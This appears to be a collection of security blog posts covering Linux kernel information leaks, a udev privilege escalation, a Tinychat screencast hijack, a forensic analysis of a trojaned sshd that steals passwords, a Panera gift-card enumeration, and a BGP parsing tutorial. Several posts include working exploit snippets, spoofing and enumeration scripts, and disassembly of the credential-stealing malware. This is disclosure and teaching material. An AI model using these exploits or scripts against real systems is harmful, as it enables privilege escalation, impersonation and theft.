Introduction

In order to understand this vulnerability, we first need to talk a bit about the x86-64 architecture (aka amd64).  One of the key design decisions of x86-64, which fueled its adoption over IA-64, is its backward compatibility with 32-bit code.  In x86-64 long mode, there are two sub-modes controlled by the code segment descriptor: compatibility mode and 64-bit mode.  Therefore, our 64-bit operating system can execute both 32-bit and 64-bit binaries without issue.  Of course, if we’re executing a 32-bit binary, we can access our traditional 32-bit architecture registers and not any of the additional register file added by x86-64.

However, it is possible to mix both 32-bit and 64-bit code within a single executable.  A 32-bit process can switch into 64-bit mode and jump right to x86-64 machine code.  In addition, a 64-bit process is capable of invoking 32-bit syscalls.  This type of switching can often be abused to bypass syscall filtering mechanisms as Chris Evans discovered (since syscall numbers differ between 32-bit and 64-bit).  In this case, we will switch between 32-bit and 64-bit code in order to exploit an information leak in the kernel.

The Vulnerability

The underlying issue that causes this vulnerability is a lack of zeroing out several of the x86-64 registers upon returning from a syscall.  A 32-bit application may be able to switch to 64-bit mode and access the r8, r9, r10, and r11 registers to leak their previous values.  This issue was discovered by Jan Beulich and patched on October 1st.  The fix is obviously to zero out these registers to avoid leaking any information to userspace.

A snippet from the patch demonstrating the fix:

diff --git a/arch/x86/ia32/ia32entry.S b/arch/x86/ia32/ia32entry.S
--- a/arch/x86/ia32/ia32entry.S
+++ b/arch/x86/ia32/ia32entry.S
@@ -172,6 +172,10 @@ sysexit_from_sys_call:
        movl    RIP-R11(%rsp),%edx              /* User %eip */
        CFI_REGISTER rip,rdx
        RESTORE_ARGS 1,24,1,1,1,1
+       xorq    %r8,%r8
+       xorq    %r9,%r9
+       xorq    %r10,%r10
+       xorq    %r11,%r11
        popfq
        CFI_ADJUST_CFA_OFFSET -8
        /*CFI_RESTORE rflags*/

The Exploit

As we previously mentioned, our 32-bit userspace application needs to switch into 64-bit mode in order to access the x86-64 registers and expose the leaked information. To mix our 32-bit and 64-bit code, we compile our binary with -m32 but use gcc’s inline asm to mix in the necessary 64-bit code without conflict.  In order to switch to 64-bit mode, we simply need to perform a ljmp/lcall with the USER_CS code segment (0×33 on Linux):

.code32
ljmp $0x33, $1f
.code64
1:
/* 64-bit code here */
xorq %rax, %rax
...

For each of the 64-bit registers r8, r9, r10, and r11, we simply cram the 64-bits into two 32-bit GPRs.  For example, we throw the upper and lower 32-bits of r8 into rax and rcx respectively (later to be retrieved through eax and ecx):

movq %r8, %rcx
shr $32, %r8
movq %r8, %rax

Finally, to retrieve the leaked values, we jmp to an invalid address (0xdeadbeef) to cause a SIGSEGV and then use ‘info regs’ in gdb to inspect the register values.

The full exploit is available here.  Example output:

$ gcc -m32 x86_64-reg-leak.c -o x86_64-reg-leak
$ gdb ./x86_64-reg-leak
GNU gdb 6.8-debian
...
(gdb) run
[+] Switching to x86_64 long mode via far jmp...
...
Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
(gdb) info reg
eax            0xffff8800       -30720        <-- r8 upper
ecx            0xa5cc6000       -1513332736   <-- r8 lower
edx            0x0      0                     <-- r9 upper
ebx            0x1      1                     <-- r9 lower
esp            0xffff8800       0xffff8800    <-- r10 upper
ebp            0xa5cc6000       0xa5cc6000    <-- r10 lower
esi            0x0      0                     <-- r11 upper
edi            0xffffffff       -1            <-- r11 lower
...

spender also wrote an exploit simultaneously which is available here.  It will loop and call a bunch of random syscalls and printf the leaked data so you don’t have to use gdb.

Dam Burst operates by injecting code into a running application and removing the Green Dam hooks that enable it to monitor and block user activity, effectively restoring the running application to its original uncensored state.

Unlike other tools that disable or uninstall the Green Dam software, Dam Burst does not require administrative privileges. Since Dam Burst can be run as an unprivileged user to disable the Green Dam censorware in currently running applications, it is very effective in situations where the user is restricted from obtaining administrator privileges and may wish to avoid censorship (eg. public/internet cafe computers that the user may not own).

As a pleasant side effect, disabling the Green Dam components within a running process actually increases the security of the end host as the vulnerable code paths within the Green Dam software are no longer exploitable by an attacker.

Download and Details

The Dam Burst download and technical details on how it operates are available here:

http://jon.oberheide.org/damburst/

Hostage-Related Cybercrime

We frequently see cybercriminals taking a page from traditional crime and adapting to their specific environment.  In fact, we’ve seen hostage-related scenarios adapted to cybercrime in many cases.  For example:

Ransomware: Ransomware will encrypt a user’s documents/data and demand a payment to decrypt the data.  This technique is most successful when the ransomware software is spread across large numbers of individuals, each requiring a reasonably small payment.

Data Theft Extortion: Similar to ransomware, corporations may be extorted into large payments in order to prevent the release of sensitive data stolen by an attacker.   This attack differs from ransomware since it is not denying access to the entity’s data, but instead threatening the release or sale of the data which will undoubtedly cause great financial harm to the entity.

DoS Extortion: Instead of targeting data, an attacker may instead threaten the availability of a service.  For example, an attacker may demand payment from a utility company threatening to take down electrical service for their customers (in fact, Jason Larsen of IOActive mentioned that 100% of the SCADA extortion attempts that he has experienced have paid out the extortion demand).

Hostage Taking Botnets

While all of these existing cyber scenarios share similarities with traditional hostage-taking and ransom situations, none of them precisely mirror the motivations and characteristics of the involved parties in a traditional hostage situation.  Traditional hostage situations often involve the capture of a large group of innocent people under the threat of harm in order to coerce the acceptance of demands.

Now where in the security world do we have large groups of random captured entities?  Why, botnets, of course!  Why would a botnet want to hold its own infected machines hostage?  As an example, let’s take the Conficker botnet, which was estimated by multiple groups to be between 4-5 million infected hosts.  Conficker received a significant amount of attention, resulting in the Conficker Working Group and cooperation with TLD operators in attempt to blackhole Conficker C&C through it’s DGA.  Now imagine if the Conficker authors had released the following threat through their malware distribution network:

“If the Conficker Working Group blackholes any of the domains generated by our DGA, we will selectively destroy all of the infected machines resident in Fortune 500 networks.”

While this is just one arbitrary example threat, one can imagine the impact it could have on the activities of the Conficker Working Group.  These types of demands by botnet operators may catch our existing approaches of dealing with cyberthreats by surprise.  Unlike traditional hostage scenarios where jurisdiction is well-defined and LEO or FBI may be in charge of response to such demands, who takes lead in the botnet hostage events where the potential victims are scattered all over the world?

As a comparison, let’s breakdown the attributes of a traditional and botnet hostage situation:

Questions to Think About

It’s easy to see some parallels between a traditional and botnet hostage situation, but the key differences raise a lot of interesting questions.

What’s are the trade-offs?

Is it worth allowing a botnet to continue to their activities in order to prevent the destruction of several million end hosts?  We traditionally don’t see destructive malware as living hosts are much more valuable to the botnet operators than dead hosts but the threat of destruction can be a valuable bargaining chip.  Similar to traditional hostage situations, the actual termination of the hostages may be of small quantitative value (sorry humans/computer hostages, you’re usually not very objectively valuable ;-) compared to the impact of resulting fallout (liability, bad publicity, data loss, downtime, enraged users, etc).

Who’s in charge?

In a situation with infected hostage hosts spread geographically all over the world and resident in home user, enterprise, and governmental networks, who is in command of the situation and response?  Who makes decisions whether to negotiate or not?  Who has authority to prevent AV vendors from releasing signatures that might trigger the destruction of hosts?  As we’ve seen with Conficker, collaboration across a wide range of vendors and organizations is possible, but is hardly as organized as the well-defined and established chain-of-command you’d see in a law enforcement agency.

Do we negotiate with botnet operators?

As the US government refuses to negotiate with terrorists, is this the best approach to take with botnet operators?  Otherwise, do we risk inviting other botnets to present similar demands?

Is this actually going to happen?

I hope not, but it’s something interesting to think about. :-)

The Vulnerability

The getname() function of an address family in the kernel is used to retrieve information about a given socket.  This information, in the form of a sockaddr struct, is accessed from userspace through the getsockname(2) and getpeername(2) system calls for bound and connected sockets respectively.

The operation of a typical getname() function is as follows: a sockaddr struct on the stack is filled in with addressing information from internal socket structures and then is memcpy()’ed into the destination sockaddr which is later copied back to userspace.  For example, the following is the getname() for the irda address family in net/irda/af_irda.c:

static int irda_getname(struct socket *sock, struct sockaddr *uaddr, int *uaddr_len, int peer)
{
    struct sockaddr_irda saddr;
    struct sock *sk = sock->sk;
    struct irda_sock *self = irda_sk(sk);

    if (peer) {
        if (sk->sk_state != TCP_ESTABLISHED)
            return -ENOTCONN;

        saddr.sir_family = AF_IRDA;
        saddr.sir_lsap_sel = self->dtsap_sel;
        saddr.sir_addr = self->daddr;
    } else {
        saddr.sir_family = AF_IRDA;
        saddr.sir_lsap_sel = self->stsap_sel;
        saddr.sir_addr = self->saddr;
    }

    IRDA_DEBUG(1, "%s(), tsap_sel = %#x\n", __func__, saddr.sir_lsap_sel);
    IRDA_DEBUG(1, "%s(), addr = %08x\n", __func__, saddr.sir_addr);

    /* uaddr_len come to us uninitialised */
    *uaddr_len = sizeof (struct sockaddr_irda);
    memcpy(uaddr, &saddr, *uaddr_len);

    return 0;
}

As we see here, irda_getname() is filling in several of the members of saddr, which is a sockaddr_irda structure.  We can take a look at the definition of a sockaddr_irda structure in include/linux/irda.h:

struct sockaddr_irda {
    sa_family_t sir_family;   /* AF_IRDA */
    __u8        sir_lsap_sel; /* LSAP selector */
    __u32       sir_addr;     /* Device address */
    char        sir_name[25]; /* Usually <service>:IrDA:TinyTP */
};

The total size of this structure is 36 bytes, including a large 25-byte sir_name member.  Notice that the sir_name member is not memset()’ed or initialized in the above irda_getname() function.  This means that our final memcpy() will be copying uninitialized data from the stack which will then be returned to userspace, leaking potentially sensitive information.  In addition to the 25-byte sir_name, there is also one byte of padding inserted by the compiler for alignment purposes between sir_lsap_sel and sir_addr and 3 bytes of padding after sir_name.  This results in a total of 29 bytes of uninitialized kernel stack memory being leaked to userspace.

As it turns out, this issue was not limited to only irda, but also the can, appletalk, rose, netrom, econet, and llc address families.  These vulnerabilities affect versions of the Linux 2.6 kernel before 2.6.31-rc7.  While these socket families aren’t the most common, they ship as modules in common distributions that are loaded automatically via request_module(”net-pf-X”) when a socket is created.  Yet another reason why you should trim unused and potentially vulnerable code from your kernel configuration or use something like grsecurity’s MODHARDEN to reduce your attack surface.

The Exploit

Exploiting this memory disclosure vulnerability is straightforward and can be performed by an unprivileged user.  For irda, we just need to create an AF_IRDA socket and then call getsockname(2) on it.  Exploiting some of the other vulnerable address families may require binding or connecting the socket in order to satisfy certain conditions in the getname() function.  For irda, the required code is trivial:

struct sockaddr_irda saddr;
int sock, len = sizeof(saddr);
sock = socket(AF_IRDA, SOCK_DGRAM, 0);
getsockname(sock, (struct sockaddr *) &saddr, &len);

The saddr structure will now contain 29-bytes of uninitialized kernel stack memory (byte 4 and bytes 9-36).

A full example exploit for this issue is available here: http://jon.oberheide.org/files/cve-2009-3002.c

The Fix

The first set of fixes rolled into davem’s net-2.6 git repo via Eric Dumazet (and somehow slipped under my radar) in early August.  The patches covered a number of address families including can, irda, appletalk, rose, netrom, and econet, the worst of the bunch being the irda example we covered here.  Another similar patch for the llc address family rolled in on August 24th which is what alerted me to the previous issues.

The fix is obvious: memset() the sockaddr structure at the beginning of the getname() function so that uninitialized memory will be not be leaked to userspace.  For completeness, here’s the patch for the irda example:

--- a/net/irda/af_irda.c
+++ b/net/irda/af_irda.c
@@ -714,6 +714,7 @@ static int irda_getname(struct socket *sock, struct sockaddr *uaddr,
        struct sock *sk = sock->sk;
        struct irda_sock *self = irda_sk(sk);

+       memset(&saddr, 0, sizeof(saddr));
        if (peer) {
                if (sk->sk_state != TCP_ESTABLISHED)
                        return -ENOTCONN;

References

• NVD/CVE:  CVE-2009-3001
• NVD/CVE:  CVE-2009-3002
• AF_IRDA exploit: http://jon.oberheide.org/files/cve-2009-3002.c
• AF_LLC exploit: http://jon.oberheide.org/files/cve-2009-3001.c
• Clement Lecigne’s AF_APPLETALK exploit: http://milw0rm.com/exploits/9521

Paper: http://jon.oberheide.org/files/woot09-polypack.pdf
Presentation: http://jon.oberheide.org/files/woot09-polypack-pres.pdf

From the PolyPack website:

“PolyPack is a research project at the University of Michigan aimed at understanding the impact of malware packers on modern antivirus products. PolyPack highlights the failure of signature-based antivirus against common, widely available packers, investigates the role that diversity plays in the capabilities of both the packers and antivirus engines, and demonstrates the ease and efficacy with which an attacker could deploy an online packing service for nefarious purposes in a deployment model known as crimeware-as-a-service (CaaS).

The PolyPack web service uses an array of packers and antivirus engines to evaluate the effect that each packer has on the detection capabilities of the antivirus engines. Our current implementation employs 10 of the most common packers observed in the wild and 10 popular antivirus engines. A submitted binary is packed by each of the 10 packers and then analyzed by each of the 10 antivirus engines. The details of a few example results are available to the public.”

PolyPack has caused some interesting debate between antivirus vendors [1] and members of the security community [1, 2, 3] on the ethics of publishing research that demonstrates the failure of current signature-based antivirus products. As ethics can be quite subjective, I would recommend to the reader that they observe the arguments on both sides of the aisle, view the paper and materials on the PolyPack website (the actual service is restricted from public use, of course), and make a decision for themselves.

If you’re a penetration tester or researcher and would like access to the PolyPack service, drop me a line.

I had played with Tinychat recently and decided to poke at it some more when mubix held a Metasploit-related screencast a couple days ago.  Tinychat’s multimedia features operate with a mix of JavaScript, Java, and Flash.  Just looking at the initial JavaScript used to set up the screencasting applet set off some alarms:

function do_sc (user, uid, roomVar) {
    var un = user;
    var id = uid;
    var room = roomVar;
    var roompass = "hi";
    // alert ( "screen cap " + un + " " + uid + " " + room );
$("#cap").html ( "<applet archive='ScreenCap.jar' code='TinyChat.Main.class'
                  width='0' height='0' name='TinyChat ScreenCap' MAYSCRIPT>" +
                         "<param name='username' value='" + un + "'/>" +
                         "<param name='userid' value='" + id + "'/>" +
                         "<param name='roomname' value='" + room + "'/>" +
                         "<param name='roompass' value='" + roompass + "'/>" +
                         "<param name='postdomain' value='tinychat.com'/>" +
                         "<param name='postlocation' value='/sc'/>" +
                         "<param name='capturefps' value='1'/>" +
                         "<param name='java_arguments' value='-d32'/>" +
                         "<param name='savetofile' value='false'/>" +
                         "</applet>" );

Hrm, so it looks like the screencasting applet POSTs to “http://tinychat.com/sc”.  One would assume that the applet posts some sort of image data to that URL to update the broadcast “capturefps” times per second.  There’s also a number of parameters that are likely relevant to the /sc POST.  Most suspicious are the username/userid attributes.  Are these values authenticated or can anyone post screencast updates using the identify of another user?  As we’ll see, it is the latter.

If we yank down the ScreenCap.jar and disassemble CaptureArea.class, we gain more insight into the POST process:

...
153: ldc_w   #514; //String roomname
156: aload_0
157: getfield    #87; //Field roomName:Ljava/lang/String;
160: invokevirtual   #505; //Method TinyChat/MultiPartFormOutputStream
                           .writeField:(Ljava/lang/String;Ljava/lang/String;)V
163: aload   6
165: ldc_w   #516; //String roompass
168: aload_0
169: getfield    #89; //Field roomPass:Ljava/lang/String;
172: invokevirtual   #505; //Method TinyChat/MultiPartFormOutputStream
                           .writeField:(Ljava/lang/String;Ljava/lang/String;)V
175: new #403; //class File
178: dup
179: ldc_w   #518; //String screenshot.jpg
182: invokespecial   #407; //Method java/io/File."<init>":(Ljava/lang/String;)V
185: astore  7
...

The disassembly lists a number of the attributes already listed in the <param> fields and also the correct parameter name (”screenshot”) and filename (”screenshot.jpg”) for the JPG image data that we must send in a multipart/form-data POST to the /sc URI.  So I whipped up some quick python to continually POST an image of my choosing (my cat) to the Metasploit Tinychat room under mubix’s username:

fields = [
    ('username', 'mubix_dsktp'),
    ('roomname', 'metasploit_fun'),
    ('roompass', 'hi'),
    ('savetofile', 'true')
]
files = [
    ('screenshot', 'screenshot.jpg', open('cat.jpg').read())
]
while True:
    multipart.post_multipart('tinychat.com', '/sc', fields, files)

What resulted was a successful hijack of the Tinychat screencast!  Thankfully Sly was taking a screencast of the Tinychat screencast and later posted the video on YouTube.  Here’s a screenshot of the YouTube video of the screencast of the screencast (head explodes!) showing the cat image injection in action:

The compromise of a group of small number of Linux boxes in a University unit was first discovered when the attackers began launching ssh brute force attacks from the boxes.  Right off the bat, it was clear from the noisy activity that the attackers were not very sophisticated and did not recognize the immediate value of the compromised boxes.

Upon inspection of the filesystem, metadata showed that /usr/bin/ssh, /usr/sbin/sshd, and /usr/include/net/if_log.h had all been modified recently.  While the attackers had taken care to ensure the modified ssh and sshd binaries matched their original file sizes, the modification times were not manipulated.

if_log.h, a fake header file stashed in /usr/include/net, was full of high entropy binary data and looked awfully suspicious:

00000000  bf 69 28 39 3c 4a af cc  e9 28 ac 84 9a 8c f3 53  |.i(9<J...(.....S|
00000010  5e cb fa e4 5d ae be 0c  96 b0 5d ae 81 9f 7d 02  |^...].....]...}.|
00000020  0d 82 a7 54 ef 61 3e 32  aa 68 e6 83 57 17 db b6  |...T.a>2.h..W...|
00000030  f7 a4 6a 2f 5b d3 e7 18  34 3e bc 1d e8 b4 e0 e0  |..j/[...4>......|
...

Running a quick strings(1) on the modified sshd binary confimed the presence of the if_log.h string reference, strongly indicating that the if_log.h was an encrypted dump of passwords from the trojaned ssh/sshd.

Since we'd certainly like to know what users/passwords may have been stolen by the attackers in order to assess the risk to the rest of the network, I dug into the backdoored binaries for details.  If we pull up the backdoored sshd in IDA and search for our "if_log.h" string, we find it in the rodata section along wth a number of other interesting strings:

The hardcoded IP address, FRM_IP/USER/PASS format string, and long hexadecimal key-looking values are obviously out of place in a sshd binary.  Looking at the references to those strings, we find the sshpam_respond() from auth-pam.c function:

For those not familiar with the OpenSSH codebase, auth-pam.c contains the routines to handle standard password-based authentication, which is a logical place for inserting password logging code.  We can see that our FRM_IP format string is being filled in via the sprintf() with the credentials of the user who just authenticated via PAM. Later in sshpam_respond(), we see that this string is dumped out to the if_log.h file:

Not only is the information being saved locally, but it is also being fired across the network via UDP to our mystery IP address, 63.118.58.1.

While we now know where the captured credentials are being stored/sent, we've yet to look at the routine that is encrypting this data before dumping it out.  Before the trojaned routines fopen() the if_log.h to dump the credentials, we see a reference to the long hexadecimal string we encountered previously and a function call (sub_806a7a0).  Sure looks like an encryption routine to me!  The full disassembly of sub_806a7a0() follows:

.text:0806A7A0 ; int __cdecl sub_806A7A0(void *dest, int, size_t n, int)
.text:0806A7A0 sub_806A7A0     proc near               ; CODE XREF: sub_8050900+20Ep
.text:0806A7A0 ; sub_8050900+403p ...
.text:0806A7A0
.text:0806A7A0 s = byte ptr -1E94E8h
.text:0806A7A0 var_1068 = byte ptr -1068h
.text:0806A7A0 var_20 = dword ptr -20h
.text:0806A7A0 var_1C = dword ptr -1Ch
.text:0806A7A0 var_18 = dword ptr -18h
.text:0806A7A0 var_14 = dword ptr -14h
.text:0806A7A0 var_10 = dword ptr -10h
.text:0806A7A0 dest = dword ptr 8
.text:0806A7A0 arg_4 = dword ptr 0Ch
.text:0806A7A0 n = dword ptr 10h
.text:0806A7A0 arg_C = dword ptr 14h
.text:0806A7A0
.text:0806A7A0 push    ebp
.text:0806A7A1 mov     ebp, esp
.text:0806A7A3 push    edi
.text:0806A7A4 push    esi
.text:0806A7A5 push    ebx
.text:0806A7A6 sub     esp, 1E94FCh
.text:0806A7AC mov     edi, [ebp+arg_4]
.text:0806A7AF lea     esi, [ebp+s]
.text:0806A7B5 lea     ebx, [ebp+var_1068]
.text:0806A7BB mov     [esp], esi
.text:0806A7BE mov     [ebp+var_10], 0
.text:0806A7C5 mov     dword ptr [esp+8], 1E8480h
.text:0806A7CD mov     dword ptr [esp+4], 0
.text:0806A7D5 call _memset
.text:0806A7DA mov     [esp], ebx
.text:0806A7DD mov     [ebp+var_20], 0
.text:0806A7E4 mov     [ebp+var_1C], 0
.text:0806A7EB mov     [ebp+var_18], 0
.text:0806A7F2 mov     [ebp+var_14], 0
.text:0806A7F9 mov     dword ptr [esp+8], 1048h
.text:0806A801 mov     dword ptr [esp+4], 0
.text:0806A809 call _memset
.text:0806A80E mov     [esp+8], edi
.text:0806A812 mov     [esp], edi
.text:0806A815 call _strlen
.text:0806A81A mov     [esp], ebx
.text:0806A81D sub     eax, 1
.text:0806A820 mov     [esp+4], eax
.text:0806A824 call _BF_set_key
.text:0806A829 mov     eax, [ebp+arg_C]
.text:0806A82C mov     [esp+0Ch], ebx
.text:0806A830 mov     [esp+4], esi
.text:0806A834 mov     [esp+18h], eax
.text:0806A838 lea     eax, [ebp+var_10]
.text:0806A83B mov     [esp+14h], eax
.text:0806A83F lea     eax, [ebp+var_20]
.text:0806A842 mov     [esp+10h], eax
.text:0806A846 mov     eax, [ebp+n]
.text:0806A849 mov     [esp+8], eax
.text:0806A84D mov     eax, [ebp+dest]
.text:0806A850 mov     [esp], eax
.text:0806A853 call _BF_cfb64_encrypt
.text:0806A858 mov     eax, [ebp+dest]
.text:0806A85B mov     dword ptr [eax], 0
.text:0806A861 mov     eax, [ebp+n]
.text:0806A864 mov     [esp+4], esi
.text:0806A868 mov     [esp+8], eax
.text:0806A86C mov     eax, [ebp+dest]
.text:0806A86F mov     [esp], eax
.text:0806A872 call _memcpy
.text:0806A877 mov     [esp], esi
.text:0806A87A mov     dword ptr [esp+8], 1E8480h
.text:0806A882 mov     dword ptr [esp+4], 0
.text:0806A88A call _memset
.text:0806A88F add     esp, 1E94FCh
.text:0806A895 pop     ebx
.text:0806A896 pop     esi
.text:0806A897 pop     edi
.text:0806A898 pop     ebp
.text:0806A899 retn
.text:0806A899 sub_806A7A0     endp

Translating this into some C code looks like:

int
haxor_blowfish(char *data, char *key, int len, int enc)
{
    BF_KEY bf_key;
    unsigned char retarded_buffer[2000000];

    unsigned char ivec[8];
    int num = 0;

    memset(&ivec, 0, sizeof(ivec));
    memset(&retarded_buffer, 0, sizeof(retarded_buffer));

    memset(&bf_key, 0, sizeof(bf_key));

    BF_set_key(&bf_key, strlen(key)-1, key);

    BF_cfb64_encrypt(data, retarded_buffer, len, &bf_key, ivec, &num, enc);

    memcpy(data, &retarded_buffer, len);
    memset(&retarded_buffer, 0, sizeof(retarded_buffer));

    return 0;
}

It’s clear from some of the attributes of the code (2MB buffer on the stack, strlen(key)-1, unused IV, ending memsets) that the attackers (or at least the authors of the trojaned code) are not particularly sophiscated/skilled.

Running our decryption code reveals the plaintext of the affected usernames and passwords that have been captured by the trojaned binaries (NOTE: these usernames and passwords are fake and not the real ones involved in the compromise):

jonojono@dionysus ~/bfdecrypt $ ./bfdecrypt if_log.h.fake
FRM_IP: 141.212.110.114 -- USER: sushant -- PASS: tea4free
FRM_IP: 141.212.110.191 -- USER: kborders -- PASS: wEbtAprUlEz
TO_IP: 141.212.110.70 -- USER: zmao -- PASS: i-<3-beacons

The FRM_IP lines are credentials captured by incoming sshd server connections while the TO_IP lines are credentials captured by outgoing ssh client connections from the compromised machine.

Now that we know how the trojaned ssh/sshd binaries operated, we can widen our forensic investigation to the other hosts that may have been affected, notify the users that their credentials have been compromised, and start combing through NetFlow to determine who else may have talked to that destination IP address.

At the core of the vulnerability is the udevd daemon, responsible for receiving and handling various device events from the kernel.  These events are delivered to udevd via netlink, a socket family (AF_NETLINK) commonly used for IPC between userspace applications and the kernel.  However, netlink is not exclusively for kernel/userspace communication and can also be used to send messages between userspace applications.

The udev vulnerability resulted from a lack of verification of the netlink message source in udevd.  Since udev is a privileged process and may perform operations as direct result form the netlink messages, it must verify that these messages have come from a trusted source (eg. the kernel).  Unfortunately, as it does not perform such a check, an unprivileged userspace application can send a netlink message to the udev daemon and trick it into performing an operation that results in privilege escalation.

This vulnerability was fixed by adding the following checks in this patch:

if (udev_monitor->snl.nl_family != 0) {
    if (snl.nl_groups == 0) {
        info(udev_monitor->udev, "unicast netlink message ignored\n");
        return NULL;
    }
    if ((snl.nl_groups == UDEV_MONITOR_KERNEL) && (snl.nl_pid > 0)) {
        info(udev_monitor->udev, "multicast kernel netlink message from pid %d ignored\n", snl.nl_pid);
        return NULL;
    }
}

Exploiting this vulnerability is interesting because there’s a number of creative ways one could go about tricking udev into elevating privileges.  In kcope’s exploit, he sets a malicious LD_PRELOAD so that when udev fires off its event handling process, his /tmp/suid shell will be granted the setuid bit.  In my exploit, I chose to use some of the existing rule-based functionality of udev to elevate privileges.

In particular, udev has a rule file called “95-udev-late.rules” (likely in your /lib/udev/rules.d/ directory) which contains the following rule:

ACTION=="remove", ENV{REMOVE_CMD}!="", RUN+="$env{REMOVE_CMD}"

This action is useful as it allows execution of arbitrary commands when a particular device is removed.  It’s also very useful to us for the same reason as we can simply fake the removal of a device by sending a netlink message to udevd.  The following snippet from my exploit does exactly that by specifying a malicious REMOVE_CMD and causes the privileged execution of attacker-controlled /tmp/run file:

mp = message;
mp += sprintf(mp, "remove@/d") + 1;
mp += sprintf(mp, "SUBSYSTEM=block") + 1;
mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
mp += sprintf(mp, "TIMEOUT=10") + 1;
mp += sprintf(mp, "ACTION=remove") +1;
mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1;

Overall, a great find by Sebastian and near-universal local privilege escalation on Linux platforms.

Traditional gift card security often involves a randomized account number and a scratch-off PIN number.  Randomized account numbers prevent attackers from guessing valid accounts numbers to use.  Scratch-off PIN numbers prevent attackers from checking/using card numbers and from going in to brick-and-mortar stores to capture numbers of unactiviated cards on the racks (checkout clerks are advised to discard any cards that already have the PIN scratched-off or otherwise tampered with).  Online websites also use CAPTCHAs and rate-limiting to avoid attackers attempting to bruteforce card number space.

Upon a visit to Panera for a delicious turkey bravo, I naturally wandered over to the gift card stand to play with the piles of unactivated magcards.  A quick glance of two cards showed two nearly identical account numbers, only differing by a couple hundred values:

Sequential card numbers, not a good start.  I purchased a couple cards with a low balance to play around with.  Later, I checked out the Panera website to query the balance of my cards and test other cards within the same sequential range:

Darn, a CAPTCHA!  Looks like we’re out of luck for mass querying of card numbers.  Filling in the card number and the correct CAPTCHA value results in being redirected to the following URL:

/checkbalance_transhistory.aspx?cardNum=6006491610278240240&isCA=False

Hrm, what if we simply supply a different card number directly in the query string?  Surpise, the results are shown for the specified card number without requiring us to complete a CAPTCHA.  In other words, the original CAPTCHA check is useless since it is not actually enforced by the page displaying the results.

So it turns out we can do some mass querying of candidate card numbers.  With a quick httplib python script, I queried 50,000 card numbers from 600649161023198727 to 600649161023248727.  Some summary stats:

Total cards queried: 50,000
Total cards with a non-zero balance: 17,570

Max value on a card: $200.00
Min value on a card: $0.01
Average value on a card: $10.78

Total value of queried cards: $189,487.49

$189,487.49 is a lot of sandwiches!

In addition to the balance, the Panera site displays where/when the card was purchased/activated and lists individual transactions for every time it is used. While tracking someone’s Panera usage isn’t very exciting, one could run some interesting stats on most popular Panera stores, most effective placement/conversion rates of gift card displays, etc.

Numerous attempts to contact Panera and the company responsible for their gift card distribution have been unfruitful.

Parsing BGP routing information is fun.  However, before projects like RouteViews were around, getting a global view of Internet routing in real-time simply wasn’t possible.  But thanks to RouteViews, we can extract useful routing information from the MRT dumps from a number of providers’ perspectives.

For our example today, we’ll be parsing out the AS path from BGP update messages within MRT dumps.  Perhaps you’re interested in what or how many AS hops are traversed between a source and destination.  Maybe you’re inferring ISP peering relationships based on the ASNs in the path.  Or maybe you’re trying to identify anomalous AS paths that may indicate misconfiguration or malicious activity.  Whatever the case, we will show how dpkt can make the parsing easy.

The BGP module is by far the most complex and comprehensive of all the dpkt modules weighing in at almost 800 lines.  It supports the protocol format of the core BGP RFC as well as 8 RFCs that extend the BGP protocol.  On top of dpkt’s BGP module, we also have the pybgpdump library that abstracts away a few of the formalities of iterating through a MRT dump.

Before we begin, we need a sample MRT dump.  A sample dump that comes distributed with pybgpdump is available here.

pybgpdump defines a class called BGPDump that takes a filename as an argument (as can been seen in pybgpdump.py).  The BGPDump can transparently handle gzip’ed, bzip’ed, or uncompressed MRT dumps.  An instance of the BGPDump class can be iterated on to step through each MRT record in the dump.  If the MRT record is determined to be of the BGP4 type, it will be handed to the user for processing.

For example, a simple snippet to count the number of BGP messages in a MRT dump:

cnt = 0
dump = pybgpdump.BGPDump('sample.dump.gz')
for mrt_h, bgp_h, bgp_m in dump:
    cnt += 1
print cnt, 'BGP messages in the MRT dump'

However, for our tutorial, we would like to print out the AS path for each BGP update message.  So instead of incrementing a counter within our for loop, we’ll explore our bgp_m object, an instance of the BGP class in dpkt’s bgp.py.  A BGP instance contains a few miscellaneous attributes (len, type, etc) and will contain a data attribute which is an instance of the Open, Update, Notification, Keepalive, or RouteRefresh class (depending on the message type).  Since pybgpdump will only hand us update messages, we know that bgp_m.data is an instance of the Update class.

Update messages in BGP contain NLRI (network layer reachability information), including routes that are withdrawn or announced.  In addition, they contain a wide variety of Attributes that specify additional information about the update message.  One of these attributes is the AS path, which itself is made up of segments of different types.  To actually access the AS path information, we have to reach down deep into the bgp_m object:

bgp_m: instance of BGP
    .type: type of BGP message
    .len: length of BGP message
    .update/.data: instance of Update()
        .withdrawn: list of withdrawn routes
        .announced: list of announced routes
        .attributes: list of instances of Attribute
            .flags: attribute flags
            .type: attribute type
            .data/.as_path: instance of ASPath
                .segments: list of instances of ASPathSegment
                    .type: type of path segment (set, sequence, confed)
                    .len: number of ASNs in the segment
                    .data/.path: list of ASN integers in the segment

While things may look pretty crazy from that object hierarchy, the code to access the AS path is fairly simple:

dump = BGPDump('sample.dump.gz')
for mrt_h, bgp_h, bgp_m in dump:
    for attr in bgp_m.update.attributes:
        if attr.type == bgp.AS_PATH:
            print path_to_str(attr.as_path)
            break

We simply loop through the attributes of the update message until we find the AS path attribute.  However, as seen in the object hierarchy, attr.as_path is still a list of segments that needs to be decoded.  We use the path_to_str() function to pretty-print this list of segments in the standard AS path form that identifies sets, sequences, and confederations:

DELIMS = ( ('', ''),
           ('{', '}'),  # AS_SET
           ('', ''),    # AS_SEQUENCE
           ('(', ')'),  # AS_CONFED_SEQUENCE
           ('[', ']') ) # AS_CONFED_SET

def path_to_str(path):
    str = ''
    for seg in path.segments:
        str += DELIMS[seg.type][0]
        for AS in seg.path:
            str += '%d ' % (AS)
        str = str[:-1]
        str += DELIMS[seg.type][1] + ' '
    return str

Finally putting it all together, we can successfully extract the AS paths from BGP update messages within a MRT table dump in only a few lines of code:

jonojono@dionysus ~/pybgpdump/samples $ python aspath.py
3333 1103 3549 4755
3333 286 6762 17557
3333 1103 3549 8866 39163
3333 1103 3549 6762 17557
...

The full source for the example in this tutorial is available here:

http://pybgpdump.googlecode.com/svn/trunk/samples/aspath.py